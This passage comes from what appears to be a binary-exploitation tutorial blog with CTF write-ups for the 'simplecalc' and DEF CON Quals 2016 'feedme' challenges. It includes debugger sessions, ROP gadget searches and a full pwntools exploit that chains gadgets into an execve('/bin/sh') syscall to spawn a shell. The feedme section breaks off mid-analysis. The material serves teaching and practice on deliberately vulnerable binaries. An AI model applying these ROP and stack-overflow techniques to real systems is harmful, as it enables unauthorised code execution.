0x6c4a88 - 0x6c4a98 → "\x92\x0f\x98\x01[...]"
0x6c8bd0 - 0x6c8be0 → "\x92\x0f\x98\x01[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffb158 - 0x7fffffffb168 → "\x92\x0f\x98\x01[...]"
0x7fffffffdef0 - 0x7fffffffdf00 → "\x92\x0f\x98\x01[...]"
gef➤ info frame
Stack level 0, frame at 0x7fffffffdf40:
rip = 0x40154a in main; saved rip = 0x0
Arglist at 0x7fffffffdf30, args:
Locals at 0x7fffffffdf30, Previous frame's sp is 0x7fffffffdf40
Saved registers:
rbp at 0x7fffffffdf30, rip at 0x7fffffffdf38
Now here we see that the pattern is at **0x7fffffffdef0** and the return address is at **0x7fffffffdf38**. So we can calculate the offset:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [blog/binexp/2]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffdef0 - 0x7fffffffdf38 )
'-0x48'
Now we know that there is a 0x48 bytes offset between the pattern an the return call. There are 4 bytes for each integer, so we can divide it by 4:
>>> int(0x48)
72
>>> int(72 / 4)
18
Now we know that we will need 18 integers, Now since the binary is statically linked and there is no PIE (as we saw earlier in the pwn checksec command output), We can build a rop chain using the binary for gadgets and without an infoleak. The ROP chain will make an execve syscall to **/bin/sh** just like in the previous tutorials except that now we need to take into account 4 registers that we need to control in order to make this syscall:
As we saw in our [previous](../asm/2.html) x86_64 assembly tutorials, we need rax to take in our syscall ID, rdi to take the first arguement, rsi to take the 2nd arguement and rdx to take the third arguement. We can use this list to know more about syscalls, and since we are in x86_64 we will use the syscall ID 59 (0x3b) to trigger execve:
rax : 0x3b # syscall ID
rdi : ptr to "/bin//sh" # arg 1 to spawn /bin/sh
rsi : 0x0 # arg 2
rdx : 0x0 # arg 3
To do this, we need what's known as 'gadgets' to control those 4 registers. to find these gadgets we will use the following template**pop rax; ret**. we will use [ROPGadget.py](https://github.com/JonathanSalwan/ROPgadget):
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [~]
→ sudo pip3 install capstone
[sudo] password for nothing:
Requirement already satisfied: capstone in /usr/lib/python3.9/site-packages (4.0.2)
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [~]
→ cd /opt
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt]
→ git clone https://github.com/JonathanSalwan/ROPgadget
fatal: could not create work tree dir 'ROPgadget': Permission denied
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt]
→ sudo !!
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt]
→ sudo git clone https://github.com/JonathanSalwan/ROPgadget
Cloning into 'ROPgadget'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 3715 (delta 7), reused 12 (delta 6), pack-reused 3695
Receiving objects: 100% (3715/3715), 22.62 MiB | 6.86 MiB/s, done.
Resolving deltas: 100% (2286/2286), done.
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt]
→ cd ROPgadget
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget]
→ ls
AUTHORS LICENSE_BSD.txt README.md ropgadget ROPgadget.py scripts setup.cfg setup.py test-suite-binaries
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget]
→ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl:/var/lib/snapd/snap/bin
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget]
→ sudo ln -s ROPgadget.py /usr/local/bin/ROPgadget.py
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [/opt/ROPgadget]
→ ROPgadget
[Error] Need a binary filename (--binary/--console or --help)
Once that's done we can continue and find the gadgets of rax, rdi, rsi and rdx:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ROPgadget --binary simplecalc | grep "pop rax ; ret"
0x000000000044db32 : add al, ch ; pop rax ; ret
0x000000000040b032 : add al, ch ; pop rax ; retf 2
0x000000000040b02f : add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2
0x000000000040b030 : add byte ptr [rax], al ; add al, ch ; pop rax ; retf 2
0x00000000004b0801 : in al, 0x4c ; pop rax ; retf
0x000000000040b02e : in al, dx ; add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2
0x0000000000474855 : or dh, byte ptr [rcx] ; ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
0x000000000044db34 : pop rax ; ret
0x000000000045d707 : pop rax ; retf
0x000000000040b034 : pop rax ; retf 2
0x0000000000474857 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ROPgadget --binary simplecalc | grep "pop rdi ; ret"
0x000000000044bbbc : inc dword ptr [rbx - 0x7bf0fe40] ; pop rdi ; ret
0x0000000000401b73 : pop rdi ; ret
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ROPgadget --binary simplecalc | grep "pop rsi ; ret"
0x00000000004ac9b4 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rsi ; ret
0x00000000004ac9b6 : add byte ptr [rax], al ; pop rsi ; ret
0x0000000000437aa9 : pop rdx ; pop rsi ; ret
0x0000000000401c87 : pop rsi ; ret
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ROPgadget --binary simplecalc | grep "pop rdx ; ret"
0x00000000004a868c : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret 0x45
0x00000000004a868e : add byte ptr [rax], al ; pop rdx ; ret 0x45
0x00000000004afd61 : js 0x4afdde ; pop rdx ; retf
0x0000000000414ed0 : or al, ch ; pop rdx ; ret 0xffff
0x0000000000437a85 : pop rdx ; ret
0x00000000004a8690 : pop rdx ; ret 0x45
0x00000000004b2dd8 : pop rdx ; ret 0xfffd
0x0000000000414ed2 : pop rdx ; ret 0xffff
0x00000000004afd63 : pop rdx ; retf
0x000000000044af60 : pop rdx ; retf 0xffff
0x00000000004560ae : test byte ptr [rdi - 0x1600002f], al ; pop rdx ; ret
Now we know that the gadgets we need to control the 4 registers are :
rax: 0x44db34
rdi: 0x401b73
rsi: 0x401c87
rdx: 0x437a85
Now this is where the writeup of this binary challenge hits a very random point. you basically have to find a gadget that will write an eight byte value to a memory region, and it's a mov involving that will move 4 bytes from **rdx** to whatever memory is **pointed** by **rax** :
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ROPgadget --binary simplecalc | grep "mov" | grep "rdx" | grep "\[rax\]" | grep "ptr"
0x000000000046a7a9 : mov qword ptr [rax], rdx ; jmp 0x46a257
0x0000000000461a5f : mov qword ptr [rax], rdx ; mov eax, dword ptr [rsi] ; pop rbx ; ret
0x000000000040274f : mov qword ptr [rax], rdx ; mov edx, 0xfe8 ; jmp 0x4026b4
0x000000000046277d : mov qword ptr [rax], rdx ; mov qword ptr [rax + 0x40], rsi ; jmp 0x46272c
0x000000000040a3ee : mov qword ptr [rax], rdx ; mov qword ptr [rax + 8], rdx ; jmp 0x40a102
0x000000000047efb8 : mov qword ptr [rax], rdx ; pop rbx ; ret
**0x000000000044526e : mov qword ptr [rax], rdx ; ret**
0x0000000000462730 : mov qword ptr [rax], rdx ; xor eax, eax ; ret
So here we see at the address **0x0044526e** that this mov instruction will move the value of rdx into the memory address that is pointed by rax. This is also convenient because we have gadgets for the rdx and rax registers. The last gadget we need is a syscall gadget:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ ROPgadget --binary simplecalc | grep ": syscall"
0x0000000000400488 : syscall
We don't have a choice here, the only syscall is at **0x00400488** , Now we need to figure out where in memory we will write the string **/bin/sh** So we need to check the memory mappings while the binary is running:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004c1000 0x0000000000000000 r-x /home/nothing/binexp/2/calc/simplecalc
0x00000000006c0000 0x00000000006c3000 0x00000000000c0000 rw- /home/nothing/binexp/2/calc/simplecalc
0x00000000006c3000 0x00000000006e9000 0x0000000000000000 rw- [heap]
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
We see that the memory region begins at **0x6c1000** and ends at **0x6c3000** the permissions allow us to read and write to it, and in addition, that is mapped from the binary. Since there is no PIE the addresses will be the same everytime, therefore we don't need an infoleak. Here we want to take a look at the memory addresses after**0x6c0000** to see if we can find an empty space where we can write our stuff:
gef➤ x/g 0x6c0000
0x6c0000: 0x200e41280e41300e
gef➤ x/20g 0x6c0000
0x6c0000: 0x200e41280e41300e 0xe42100e42180e42
0x6c0010: 0xb4108 0xd0a40000002c
0x6c0020: 0x6cfffd1fd0 0x80e0a69100e4400
0x6c0030: 0xb42080e0a460b4b 0xe470b49080e0a57
0x6c0040: 0x8 0xd0d400000024
0x6c0050: 0x144fffd2010 0x5a020283100e4500
0x6c0060: 0xee3020b41080e0a 0x8
0x6c0070: 0xd0fc00000064 0x26cfffd2138
0x6c0080: 0xe47028f100e4200 0x48d200e42038e18
0x6c0090: 0x300e41058c280e42 0x440783380e410686
gef➤ x/20g 0x6c1000
0x6c1000: 0x0 0x0
0x6c1010: 0x0 0x431070
0x6c1020: 0x430a40 0x428e20
0x6c1030: 0x4331b0 0x424c50
0x6c1040: 0x42b940 0x423740
0x6c1050: 0x4852d0 0x4178d0
0x6c1060: 0x0 0x0
0x6c1070 <****_dl_tls_static_size>: 0x1180 0x0
0x6c1080 <****_nl_current_default_domain>: 0x4945f7 0x0
0x6c1090 <****locale_alias_path.10061>: 0x49462a 0x6c32a0
It looks like **0x6c1000** is empty, so we should be able to write to it without messing up anything.
Now we need to worry about what deals with what we are overflowing onto the stack:
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1
undefined4 Stack[-0xc]:4 local_c XREF[7]: 00401443(W),
00401481(R),
004014af(R),
004014dd(R),
00401508(R),
00401567(RW),
0040156e(R)
undefined8 Stack[-0x18]:8 local_18 XREF[8]: 0040143f(W),
0040148e(R),
004014bc(R),
004014ea(R),
00401515(R),
00401537(R),
0040154a(R),
00401577(R)
undefined4 Stack[-0x1c]:4 local_1c XREF[7]: 00401392(W),
004013e9(*),
00401409(R),
00401413(R),
0040142f(R),
0040152e(R),
0040156b(R)
undefined4 Stack[-0x20]:4 local_20 XREF[6]: 00401454(*),
00401474(R),
004014a2(R),
004014d0(R),
004014fb(R),
00401526(R)
undefined1 Stack[-0x48]:1 local_48 XREF[1]: 0040153b(*)
undefined4 Stack[-0x4c]:4 local_4c XREF[1]: 0040138b(W)
undefined8 Stack[-0x58]:8 local_58 XREF[1]: 0040138e(W)
main XREF[4]: Entry Point(*),
_start:00400f6b(*),
_start:00400f6b(*), 004b3078(*)
00401383 55 PUSH RBP
if (local_20 == 5) {
memcpy(local_48,local_18,(long)(local_1c << 2));
free(local_18);
return 0;
}
So here we see that between the vulnerable buffer **local_48** (which is handled inside of the vulnerable memcpy call we saw earlier) and the bottom of the stack there is the **local_18** pointer that contains our calculations. It will get overwritten as part of the overflow. This is a problem since this address is freed prior to our code being executed as you can see above.
Now the trick here was that you needed to take a look at the [sourcecode](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#free) of the free functioni (lines 3092- 3103):
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
Here you see that if the arguement to the free() function is a null pointer (0x0) then it just returns. Since the function writing the data for the overflow is memcpy, we can just write null bytes. So if we just fill up the space between the start of our input and the return address with null bytes, we will be fine. With that, we can now create the exploit including the ROP chain to spawn a shell and print out the flag:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/calc]
→ vim exploit.py
from pwn import *
#target is the variable for the process ./simplecalc
target = process('./simplecalc')
#recieve text until calculations:
target.recvuntil('calculations: ')
#we want 100 calculations)
target.sendline('100')
Now here we use the 'target' variable to follow the process of our binary, we want to recieve the output text until 'calculations: ', Then we want to send '100' as our choice for calculations. Next we will setup our rop gadgets:
# Establish our rop gadgets
popRax = 0x44db34
popRdi = 0x401b73
popRsi = 0x401c87
popRdx = 0x437a85
# 0x000000000044526e : mov qword ptr [rax], rdx ; ret
movGadget = 0x44526e
syscall = 0x400488
So here we set the constants we found earlier the addresses of the Rax, rdi, rsi and rdx gadgets, as well as the movGadget and the syscall we need. Next we need to submit an 'addition'(option 1) to the binary file of x=100 and y=arguement - 100:
def addSingle(x):
target.recvuntil("=> ")
target.sendline("1")
target.recvuntil("Integer x: ")
target.sendline("100")
target.recvuntil("Integer y: ")
target.sendline(str(x - 100)) #making use the arguement being passed into the function here
And the second function makes use of the function we defined above:
def add(z):
x = z & 0xffffffff
y = ((z & 0xffffffff00000000) >> 32)
addSingle(x)
addSingle(y)
# Fill up the space between the start of our input and the return address
for i in range(9):
# Fill it up with null bytes, to make the ptr passed to free be a null pointer
# So free doesn't crash
add(0x0)
This will make sure we fill up the space between the start of our input and the return address with 9 nullbytes to make the ptr passed to the free() function be a null pointer. The add() function that is defined here makes use of addSingle() that we defined above. These 2 additions will nake sure that we give input via addition, and next we need to make our actual ROP chain:
#Write "/bin/sh" to 0x6c1000
#pop rax, 0x6c1000 ; ret
#pop rdx, "/bin/sh\x00" ; ret
#mov qword ptr [rax], rdx ; ret
add(popRax)
add(0x6c1000)
add(popRdx)
add(0x0068732f6e69622f) # "/bin/sh" in hex
This will make use of the 'add' function we defined above, to put the value of popRax(0x44db34) to the ROPchain, as well as our actual shellcode:
# Move the needed values into the registers
#pop rax, 0x3b ; ret
#pop rdi, 0x6c1000 ; ret
#pop rsi, 0x0 ; ret
#pop rdx, 0x0 ; ret
add(movGadget)
add(popRax) # Specify which syscall to make
add(0x3b)
add(popRdi) # Specify pointer to "/bin/sh"
add(0x6c1000)
add(popRsi) # Specify no arguments or environment variables
add(0x0)
add(popRdx)
add(0x0)
add(syscall) # Syscall instruction
We specify the syscall ID into rax, the first arguement (/bin/sh) into rdi, and then both rsi and rdx (2nd and 3rd arguements) contain nullbytes. And lastly we make the syscall to end our ropchain.
target.sendline('5') # Save and exit to execute memcpy and trigger buffer overflow
# Drop to an interactive shell to use our new shell
target.interactive()
At last, once we finished feeding the ropchain into the binary, we get to the memcpy call to trigger it and then drop into an interactive shell:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/calc]
→ python3 exploit.py
[+] Starting local process './simplecalc': pid 3475833
[*] Switching to interactive mode
Result for x + y is 0.
Options Menu:
[1] Addition.
[2] Subtraction.
[3] Multiplication.
[4] Division.
[5] Save and Exit.
=> $ id
uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel)
$ cat flag.txt
flag{g0ttem_b0yz}
And that's it! We have been able to print spawn a shell and print out the contents of the flag.
## Title
text
` ![]()
## Title
text
` ![]()

688
2/feed.md Normal file
View file

@ -0,0 +1,688 @@
# DCQuals 2016 FeedMe
Yet another insane challenge, buckle up !
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals16_feedme/feedme
--2021-03-06 11:21:19-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals16_feedme/feedme
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals16_feedme/feedme [following]
--2021-03-06 11:21:20-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals16_feedme/feedme
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 664792 (649K) [application/octet-stream]
Saving to: feedme
feedme 100%[=======================================================================================================================================================>] 649.21K --.-KB/s in 0.1s
2021-03-06 11:21:20 (5.42 MB/s) - feedme saved [664792/664792]
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
→ file feedme
feedme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
→ chmod +x feedme
` ![]()
## Solution
First let's run the binary to see what it does after using pwn checksec on it:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
→ pwn checksec feedme
[*] '/home/nothing/binexp/2/feed/feedme'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
→ ./feedme
FEED ME!
yes
no
yes
no
yes
no
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
^C
Here we see that we are dealing with a 32bit statically linked binary, with a non executable stack (NX). When we run it, the program prompts us with some text before we can give some input, it seems to be able to take in a certain amount of input, so let's see how much:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/feed]
→ ./feedme
FEED ME!
000000000000000000000000000000000
000000000000000000000000000000000
ATE 30303030303030303030303030303030...
*** stack smashing detected ***: ./feedme terminated
Child exit.
FEED ME!
Apparently we are able to overwrite a stack canary, so we probably have a stack buffer overflow somewhere. In addition to that, when it detected that the stack canary was overwritten, it terminated the process and kept asking for more input. The binary is probably designed in such a way that it spawns child processes which is where we scan in the input and overwrite the stack canary. When the program sees tha tthe stack canary got edited, it terminates the child process, and the parent process spawns another instance and continues asking us for input. So let's take a look at the binary inside of ghidra:
![](35.png)
Once again, the main function is not called 'main' so we find it by searching for the text that the binary outputs, (CTRL+SHIFT+E) and we find the following:
uint FUN_08049036(void)
{
byte bVar1;
undefined4 uVar2;
uint uVar3;
int in_GS_OFFSET;
undefined local_30 [32];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
FUN_0804fc60("FEED ME!");
bVar1 = FUN_08048e42();
FUN_08048e7e(local_30,bVar1);
uVar2 = FUN_08048f6e(local_30,bVar1,0x10);
FUN_0804f700("ATE %s\n",uVar2);
uVar3 = (uint)bVar1;
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
uVar3 = FUN_0806f5b0();
}
return uVar3;
}
Here we see that much like our previous challenge, there aren't any scanf nor any gets first off, our input text (most probably **local_32** which can hold 32 bytes) gets passed into the **FUN_08048f6e** function along with the value returned by the **FUN_08048e42()** function and the hex value **0x10**.
We also see that the function**FUN_08048f6e(local_30,bVar1,0x10);** takes in our input value as well as a limit of 16 (0x10) bytes of input, that function returns a pointer to 16 bytes of our input, so let's look at it from gdb:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
→ gdb ./feedme
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./feedme...
(No debugging symbols found in ./feedme)
gef➤ set follow-fork-mode child
gef➤ show follow-fork mode
Debugger response to a program call of fork or vfork is "child".
Now here we basically set gdb so that it follows the forks created by the binary file, now we need breakpoints:
![](40.png)
Now we know where we want our 3 breakpoints:
1) 0x8049053
2) 0x8049069
3) 0x8049069
So we continue with gdb:
gef➤ set follow-fork-mode child
gef➤ show follow-fork mode
Debugger response to a program call of fork or vfork is "child".
gef➤ b *0x8049053
Breakpoint 1 at 0x8049053
gef➤ b *0x8049069
Breakpoint 2 at 0x8049069
gef➤ b *0x8049084
Breakpoint 3 at 0x8049084
gef➤ r
Starting program: /home/nothing/binexp/2/feed/feedme
[Attaching after process 3458879 fork to child process 3458883]
[New inferior 2 (process 3458883)]
[Detaching after fork from parent process 3458879]
[Inferior 1 (process 3458879) detached]
FEED ME!
[Switching to process 3458883]
Thread 2.1 "feedme" hit Breakpoint 1, 0x08049053 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x9
$ebx : 0x080481a8 → push ebx
$ecx : 0x080eb4d4 → 0x00000000
$edx : 0x9
$esp : 0xffffd080 → 0x080be70c → "FEED ME!"
$ebp : 0xffffd0c8 → 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049053 → 0xfffdeae8 → 0x00000000
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd080│+0x0000: 0x080be70c → "FEED ME!" ← $esp
0xffffd084│+0x0004: 0x00000000
0xffffd088│+0x0008: 0x00000000
0xffffd08c│+0x000c: 0x0806ccb7 → sub esp, 0x20
0xffffd090│+0x0010: 0x080ea200 → 0xfbad2887
0xffffd094│+0x0014: 0x080ea247 → 0x0eb4d40a
0xffffd098│+0x0018: 0x080ea248 → 0x080eb4d4 → 0x00000000
0xffffd09c│+0x001c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049041 add BYTE PTR [ecx-0x3fce0bbb], cl
0x8049047 mov DWORD PTR [esp], 0x80be70c
0x804904e call 0x804fc60
●→ 0x8049053 call 0x8048e42
↳ 0x8048e42 push ebp
0x8048e43 mov ebp, esp
0x8048e45 sub esp, 0x28
0x8048e48 mov DWORD PTR [esp+0x8], 0x1
0x8048e50 lea eax, [ebp-0xd]
0x8048e53 mov DWORD PTR [esp+0x4], eax
──────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x8048e42 (
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped 0x8049053 in ?? (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049053 → call 0x8048e42
[#1] 0x80490dc → movzx eax, al
[#2] 0x80491da → mov eax, 0x0
[#3] 0x80493ba → mov DWORD PTR [esp], eax
[#4] 0x8048d2b → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
After a bit of gdb wizardry that i don't even understand, we arrive at this:
gef➤ x/4w $esp
0xffffd080: 0xffffd09c 0x31 0x10 0x806ccb7
gef➤ x/50w 0xffffd09c
0xffffd09c: 0x77322f78 0x73652420 0xa0a0a70 0xa0a0a0a
0xffffd0ac: 0xa0a0a0a 0x6e69660a 0xa687369 0x300a300a
0xffffd0bc: 0x30303030 0x30303030 0x30303030 0x30303030
0xffffd0cc: 0x8049030 0x80ea0a0 0x0 0x80ed840
0xffffd0dc: 0x804f8b4 0x0 0x0 0x0
0xffffd0ec: 0x80481a8 0x80481a8 0x0 0xffffd118
0xffffd0fc: 0x80491da 0x80ea0a0 0x0 0x2
0xffffd10c: 0x0 0x0 0x80ea00c 0x8049970
0xffffd11c: 0x80493ba 0x1 0xffffd1a4 0xffffd1ac
0xffffd12c: 0x0 0x0 0x80481a8 0x0
0xffffd13c: 0x80ea00c 0x8049970 0x488454cd 0xbe00e522
0xffffd14c: 0x0 0x0 0x0 0x0
0xffffd15c: 0x0 0x0
gef➤ info frame
Stack level 0, frame at 0xffffd0d0:
eip = 0x8049084; saved eip = 0x8049030
called by frame at 0x30303038
Arglist at 0xffffd0c8, args:
Locals at 0xffffd0c8, Previous frame's sp is 0xffffd0d0
Saved registers:
ebp at 0xffffd0c8, eip at 0xffffd0cc
The start of our input is being scanned at **0xffffd09c** and the return address is at **0xffffd0cc** , Somehow you have to find that the stack canary is some random hex value, at some memory address because it's 4 bytes of random values with the last value being a nullbyte. and that there is a 0x20 byte offset to the stack canary and :
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/feed]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0xffffd0cc - 0xffffd09c )
'0x30'
Now we know that there is a 0x30 bytes offset to the return address. Both the 0x30 and the 0x20 offset are within the reach of our buffer overflow Lastly we need to know where the feed function is called:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
→ gdb ./feedme
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./feedme...
(No debugging symbols found in ./feedme)
gef➤ b *0x8049053
Breakpoint 1 at 0x8049053
gef➤ r
Starting program: /home/nothing/binexp/2/feed/feedme
[Detaching after fork from child process 3730383]
FEED ME!
^C
Program received signal SIGINT, Interrupt.
0xf7ffc549 in __kernel_vsyscall ()
~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py:2425: DeprecationWarning: invalid escape sequence '\$'
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xfffffe00
$ebx : 0x38ebcf
$ecx : 0xffffd0e0 → 0x00000000
$edx : 0x0
$esp : 0xffffd0b8 → 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx
$ebp : 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx
$esi : 0x0
$edi : 0x080ea00c → 0x08067f90 → mov edx, DWORD PTR [esp+0x4]
$eip : 0xf7ffc549 → <__kernel_vsyscall+9> pop ebp
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0b8│+0x0000: 0xffffd0f8 → 0xffffd118 → 0x08049970 → push ebx ← $esp
0xffffd0bc│+0x0004: 0x00000000
0xffffd0c0│+0x0008: 0xffffd0e0 → 0x00000000
0xffffd0c4│+0x000c: 0x0806cc02 → pop ebx
0xffffd0c8│+0x0010: 0x080481a8 → push ebx
0xffffd0cc│+0x0014: 0x0804910e → mov DWORD PTR [ebp-0xc], eax
0xffffd0d0│+0x0018: 0x0038ebcf
0xffffd0d4│+0x001c: 0xffffd0e0 → 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7ffc543 <__kernel_vsyscall+3> mov ebp, esp
0xf7ffc545 <__kernel_vsyscall+5> sysenter
0xf7ffc547 <__kernel_vsyscall+7> int 0x80
→ 0xf7ffc549 <__kernel_vsyscall+9> pop ebp
0xf7ffc54a <__kernel_vsyscall+10> pop edx
0xf7ffc54b <__kernel_vsyscall+11> pop ecx
0xf7ffc54c <__kernel_vsyscall+12> ret
0xf7ffc54d nop
0xf7ffc54e nop
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "feedme", stopped 0xf7ffc549 in __kernel_vsyscall (), reason: SIGINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7ffc549 → __kernel_vsyscall()
[#1] 0x806cc02 → pop ebx
[#2] 0x804910e → mov DWORD PTR [ebp-0xc], eax
[#3] 0x80491da → mov eax, 0x0
[#4] 0x80493ba → mov DWORD PTR [esp], eax
[#5] 0x8048d2b → hlt
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ bt
#0 0xf7ffc549 in __kernel_vsyscall ()
#1 0x0806cc02 in ?? ()
#2 0x0804910e in ?? ()
#3 0x080491da in ?? ()
#4 0x080493ba in ?? ()
#5 0x08048d2b in ?? ()
